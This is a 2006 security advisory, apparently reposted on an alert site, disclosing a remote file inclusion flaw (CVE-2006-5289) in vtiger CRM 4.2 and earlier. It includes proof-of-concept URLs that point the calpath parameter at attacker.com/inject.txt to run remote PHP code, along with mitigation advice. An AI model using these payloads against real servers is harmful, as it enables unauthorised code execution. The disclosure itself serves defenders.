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Arrow  Topic :

vtiger CRM <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability


Arrow  SecurityAlert : 1722
Arrow  CVE : CVE-2006-5289
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Dedi Dwianto a.k.a the_day
Arrow  Published : 16.10.2006

Arrow  Affected Software : vtiger CRM <=4.2



Arrow  Advisory Content :  

ECHO_ADV_54$2006

------------------------------------------------------------------------
-----------------------
[ECHO_ADV_54$2006]vtiger CRM <=4.2 (calpath) Multiple Remote File
Inclusion Vulnerability
------------------------------------------------------------------------
-----------------------

Author : Dedi Dwianto a.k.a the_day
Date Found : October, 09th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv54-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
------------------------------------------------------------------------
---

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Vtiger CRM
version : <=4.2
URL : http://vtiger.com

vtiger CRM is 100% Open Source Customer Relationship Management solution
built over
LAMP/WAMP stack and other third-party open source packages.
vtiger CRM software can be installed in Windows NT/2000/XP/2003 and
different types
Unix/Linux-based distributions, such as RedHat 7.2/8.0/9.0, Debian 3.0,
SuSe 9.0, Fedora Core 3.0,
Mandrake 10.0, Mac OS, and FreeBSD.
------------------------------------------------------------------------
---

Vulnerability:
~~~~~~~~~~~~~~

In folder modules/Calendar/admin/ I found vulnerability script update.php
--------------------------update.php------------------------------------
---
....
<?

include_once $calpath .'webelements.p3';
include_once $calpath .'permission.p3';
...
----------------------------------------------------------

Input passed to the "$calpath" parameter in update.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

modules/Calendar/admin/update.php
modules/Calendar/admin/scheme.php
modules/Calendar/calendar.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?ca
lpath=http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=
http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpat
h=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $calpath on affected files.
- Turn off register_globals

Timeline:
~~~~~~~
09 - 10 - 2006 Bugs Found
09 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

------------------------------------------------------------------------
---

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------

---
Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------





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